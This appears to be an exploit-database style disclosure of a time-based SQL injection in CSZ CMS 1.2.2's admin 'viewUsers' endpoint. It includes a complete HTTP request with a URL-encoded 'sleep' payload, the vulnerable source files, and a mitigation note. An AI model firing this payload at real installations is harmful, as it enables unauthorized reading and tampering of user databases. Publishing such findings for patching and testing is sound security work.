SQL Injection vulnerability on cszcms_admin_Members_viewUsers

[Limerence98]

Exploit Title: SQL Injection vulnerability on cszcms_admin_Members_viewUsers Date: 11-March-2022 Exploit Author: @Limerence9 Software Link: https://github.com/cskaza/cszcms/archive/refs/tags/1.2.2.zip Version: 1.2.2

Description: SQL Injection allows an attacker to run malicious SQL statements on a database and thus being able to read or modify the data in the database. With enough privileges assigned to the database user, it can allow the attacker to delete tables or drop databases.

Code Analysis:

GET /index.php/admin/Members/viewUsers/%27%6f%72%28%73%6c%65%65%70%28%35%29%29%23 HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/index.php/member/login/check
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: 127_0_01_cszsess=bkmcrultec13pmpnos5mb208vtnbophc; cszcookie_95afc46801137b6f60a97c469742e6aacsrf_cookie_csz=3f9bce14914ec5f9957c9737702e7d49;XDEBUG_SESSION=PHPSTORM
Connection: close

payload: 'or(sleep(5))# URL-encode all characters payload: %27%6f%72%28%73%6c%65%65%70%28%35%29%29%23 cszcms-1.2.2/cszcms/controllers/admin/Members.php::viewUsers

cszcms-1.2.2/cszcms/models/Csz_admin_model.php::getUser

Impact: Read and modify the users database Mitigation: Use of Parameterized SQL Queries and Validation